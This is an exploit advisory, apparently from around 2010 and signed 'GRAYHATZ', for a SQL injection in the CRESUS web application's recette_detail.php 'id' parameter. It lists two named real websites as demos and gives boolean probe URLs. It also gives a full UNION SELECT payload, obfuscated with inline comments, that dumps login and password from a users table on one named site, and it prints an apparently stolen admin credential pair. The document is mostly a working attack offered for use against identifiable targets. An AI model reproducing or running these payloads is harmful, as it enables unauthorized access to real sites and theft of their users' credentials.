CRESUS SQL Injection

`===================================================  
CRESUS. <= Remote SQL Injection Vulnerability   
===================================================  
  
__ ____/___ __ \___ |_ \/ /___ / / /___ |___ __/___ /  
_ / __ __ /_/ /__ /| |__ / __ /_/ / __ /| |__ / __ /   
/ /_/ / _ _, _/ _ ___ |_ / _ __ / _ ___ |_ / _ /__  
\____/ /_/ |_| /_/ |_|/_/ /_/ /_/ /_/ |_|/_/ /____/   
  
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
[+] Author : GRAYHATZ  
[~] Contact : N/A  
[~] HomePage : http://www.griadamlar.com  
~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
_____ Special Thanks GRAYHATZ, and Inj3ct0r Cr.  
__________ /_______ _________________  
__ ___/_ __/_ __ `/__ ___/__ ___/  
_(__ ) / /_ / /_/ / _ / _(__ )   
/____/ \__/ \__,_/ /_/ /____/   
  
MUS4LLAT - KaçaK - ameN - KnocKout - TechnicaL - Neuromancer - MahseN - BondBey  
  
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
|~Web App. : POWERED BY CRESUS.  
|~Price : N/A  
|~Version : N/A  
|~Software: http://www.cresus-net.net  
|~Vulnerability Style : SQL Injection  
|~Vulnerability Dir : /  
|~sqL : MysqL  
|~Google Keyword : GRAYHATZ  
|[~]Date : "22.11.2010"  
|[~]Tested on:Apache PHP/4.3.4 MySQL >=5  
  
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Demos:   
http://www.bestbrands.com.tn  
http://www.calembo.biz/ang  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
===============================================================  
|{~~~~~~~~ Explotation|recette_detail.php SQL Injection~~~~~~~~~~~}|  
  
http://$Site/$path/ang/recette_detail.php?id=1 {SQL Injection}  
http://$Site/$path/ang/recette_detail.php?id=1 and 1=1 {True}  
http://$Site/$path/ang/recette_detail.php?id=1 and 1=0 {False}  
  
Ex; http://www.bestbrands.com.tn  
  
[~] SQL Injecting  
http://www.bestbrands.com.tn/ang/recette_detail.php?id=1/**/uniOn/**/seLect/**/NULL,NULL,group_concat%28login,0x3a,70737764%29,NULL,NULL,NULL,NULL/**/fRom/**/bestbrands_users/**/where%20id=1--  
[~] MySQL Writes : adbestmin:70737764  
  
  
=============================================================  
`